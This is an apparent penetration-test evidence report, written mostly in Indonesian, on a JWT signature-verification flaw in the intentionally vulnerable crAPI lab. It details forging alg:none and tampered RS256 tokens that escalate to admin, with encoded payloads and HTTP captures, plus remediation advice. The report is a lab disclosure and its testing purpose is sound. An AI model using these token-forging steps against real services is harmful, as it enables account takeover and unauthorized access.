JWT Signature Not Verified - Authentication - JWT Validation
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
crAPI/Evidence/[FAIL] JWT Signature Not Verified - Authentication - JWT Validation
01 — Catatan
Catatan pengujian
Kerentanan
Deskripsi
Dampak
CWE
OWASP
Skenario
Endpoint
Fitur terdampak
Rekomendasi perbaikan
Bukti konsep
Lihat catatan sumber (bahasa Indonesia)
Vulnerability: [FAIL] JWT Signature Not Verified - Authentication - JWT Validation
Description:
Layanan identity crAPI tidak memverifikasi tanda tangan JWT. Token ber-header alg:none tanpa signature diterima, dan token RS256 yang payload-nya diubah tanpa di-resign juga diterima. Penyerang bebas memalsukan token untuk user mana pun dan menaikkan role menjadi admin.
Impact:
Confidentiality: data akun korban dapat dibaca. Integrity: identitas & role (admin) dapat dipalsukan -> account takeover penuh atas seluruh pengguna tanpa kredensial.
CWE:
CWE-347: Improper Verification of Cryptographic Signature
OWASP:
API2:2023 - Broken Authentication
Scenario:
Normal: token sah role=user hanya mengakses data sendiri. Eksploitasi: token palsu (alg:none / RS256 ter-edit) menyamar sebagai ADMIN (sub=[REDACTED-EMAIL], role=admin) -> mengakses akun admin (id=5) -> CIA (Confidentiality + Integrity).
Endpoint:
GET http://127.0.0.1:8888/identity/api/v2/user/dashboard (seluruh endpoint identity berbasis JWT)
Affected Feature:
Autentikasi berbasis JWT (crapi-identity)
Remediation:
- Verifikasi signature JWT dengan kunci publik RS256 pada tiap request.
- Tolak eksplisit alg:none & lakukan algorithm allow-listing (hanya RS256).
- Gunakan pustaka JWT matang; validasi exp/iss/aud.
POC:
1) (Screenshot 1) NORMAL: GET /identity/api/v2/vehicle/vehicles dengan token RS256 sah (ditampilkan utuh) -> 200, hanya data milik sendiri.
2) (Screenshot 2) PROSES alg:none: bongkar token asli, base64url-decode header & payload, ubah alg menjadi 'none' tanpa signature dan payload sub=[REDACTED-EMAIL]/role=admin, lalu susun ulang menjadi token palsu (ditampilkan utuh).
3) (Screenshot 3) EKSPLOITASI: kirim token alg:none -> 200 mengembalikan akun ADMIN (id=5, ROLE_ADMIN).
4) (Screenshot 4) PROSES tamper RS256: ambil token RS256 asli, edit payload sub=[REDACTED-EMAIL] & role=admin, pasang kembali signature LAMA tanpa re-sign (token utuh).
5) (Screenshot 5) DAMPAK CIA: kirim token RS256 tampered -> tetap 200 mengembalikan akun ADMIN -> membuktikan signature tidak diverifikasi (Confidentiality + Integrity).
02 — Tangkapan layar
Tangkapan layar (3)
Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.
Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.
Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.
03 — Detail proses
Detail proses
Nilai kredensial disamarkan dalam tampilan HTML ini; keterangan tentang token lengkap merujuk pada rekaman sumber.
Dekode dan susun ulang JWT dengan alg:none, sub=admin, dan role=admin
Persiapan: buat token alg:none tanpa signature
Persiapan: atur header ke alg:none dan kosongkan signature. Ubah payload untuk menyamar sebagai admin (sub=[REDACTED-EMAIL], role=admin).
1. Token asli hasil login (format: header.payload.signature)
[REDACTED-LAB-JWT]
2. Dekode setiap bagian dengan Base64URL
header = eyJhbGciOiJSUzI1NiJ9
-> {"alg": "RS256"}
payload = eyJzdWIiOiJmYXFpaEBnbWFpbC5jb20iLCJpYXQiOjE3OTA2OTA3MTQsImV4cCI6MTc5MTI5NTUxNCwicm9sZSI6InVzZXIifQ
-> {"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
3. Susun token palsu: alg='none' (tanpa signature), sub->[REDACTED-EMAIL], role->admin
header baru = base64url({"alg": "none", "typ": "JWT"})
= eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "role": "admin", "iat": 1790690714, "exp": 1999999999})
= eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxOTk5OTk5OTk5fQ
signature = (KOSONG)
4. Token palsu hasil akhir (lengkap tanpa pemotongan di rekaman sumber; nilai kredensial disamarkan dalam tampilan HTML ini)
[REDACTED-LAB-JWT]Ubah klaim RS256 ke sub=admin dan role=admin; pertahankan signature asli yang kini tidak valid
Persiapan: ubah payload, pertahankan signature
Persiapan: ubah payload RS256, tetapi pertahankan signature asli. Signature tidak lagi cocok dengan payload sehingga token seharusnya ditolak, tetapi crAPI tetap menerimanya.
1. Token RS256 asli (signature valid)
[REDACTED-LAB-JWT]
2. Dekode payload
{"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "user"}
3. Ubah payload (role user->admin, sub->[REDACTED-EMAIL]); pertahankan header dan signature asli
payload baru = base64url({"sub": "[REDACTED-EMAIL]", "iat": 1790690714, "exp": 1791295514, "role": "admin"})
= eyJzdWIiOiJhZG1pbkBleGFtcGxlLmNvbSIsImlhdCI6MTc5MDY5MDcxNCwiZXhwIjoxNzkxMjk1NTE0LCJyb2xlIjoiYWRtaW4ifQ
header = eyJhbGciOiJSUzI1NiJ9 (tetap, alg RS256)
signature = qiVE1YKhnGZYsQoV8qLrVMWSqX1XkvyP_8xBeCNs40s0BwNFP6ml5JkS_qAyFmcPJ9MqhN_4BCGuoIQ71mzzqWAUPd29N9mLh17OaiYFPlhalYV7A4h7XGY9sQNFyFwhlGXTSpSE5vNGzMBGVb_QXNoeabnuvIWnerN6wlkLL0vEKMIvtAkEUPey1GciCnp-6Vm_xf7g53AWjZ1Zg9d3kbDjHAvN697pn2czd98QQdK2E-DCQSyt8K8PLFRl1qqBO3gDeIv2HFJ-R-eds9QfnoeCUUk4BPBcND7BbqTFVVx6FUVx-A_lsIe8KmGNSllOP6zcDsSmQFMHmubilsdv7g (signature LAMA, TIDAK di-resign)
4. Token hasil (header.payload_baru.signature_lama) -- signature tidak cocok dengan payload (lengkap di rekaman sumber; nilai kredensial disamarkan dalam tampilan HTML ini)
[REDACTED-LAB-JWT]04 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
GET /identity/api/v2/vehicle/vehicles HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 368
[
{
"id": 6,
"uuid": "9b3ce26b-d797-404b-a961-09d7e45e0d1b",
"pincode": "8392",
"vin": "861P9NB3CL6ZEA9X1",
"year": 2026,
"status": "INACTIVE",
"previousOwners": [],
"model": {
"id": 4,
"model": "5 Series",
"fuel_type": "PETROL",
"vehicle_img": "images/bmw-5.jpg",
"vehiclecompany": {
"id": 4,
"name": "BMW"
}
},
"vehicleLocation": {
"id": 4,
"latitude": "38.206348",
"longitude": "-84.270172"
},
"owner": null
}
]Normal: penyerang menggunakan token RS256 miliknya yang valid (role=user) untuk mengakses datanya sendiri. Rekaman sumber memuat token lengkap; nilai kredensial disamarkan dalam tampilan HTML ini.
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}Hasil: server menerima token alg:none tanpa signature dan mengembalikan akun admin (id=5, ROLE_ADMIN). Rekaman ini mencatat keberhasilan menyamar sepenuhnya sebagai admin. Sumber memuat token lengkap di header; nilai kredensial disamarkan dalam tampilan HTML ini.
GET /identity/api/v2/user/dashboard HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Bearer [REDACTED-LAB-TOKEN]
Accept: application/json
HTTP/1.1 200
Server: openresty/1.27.1.2
Content-Type: application/json
Content-Length: 231
{
"id": 5,
"name": "Admin",
"email": "[REDACTED-EMAIL]",
"number": "9010203040",
"picture_url": null,
"video_url": "data:image/jpeg;base64,B7HoBfK09fDx0A==",
"video_name": "Admin_video",
"available_credit": 100.0,
"video_id": 5,
"role": "ROLE_ADMIN"
}Dampak: token dengan signature yang tidak cocok tetap mendapat response 200. Data akun admin terbaca sehingga kerahasiaan terdampak; pemalsuan identitas dan role admin berdampak pada integritas. Server tidak memverifikasi signature.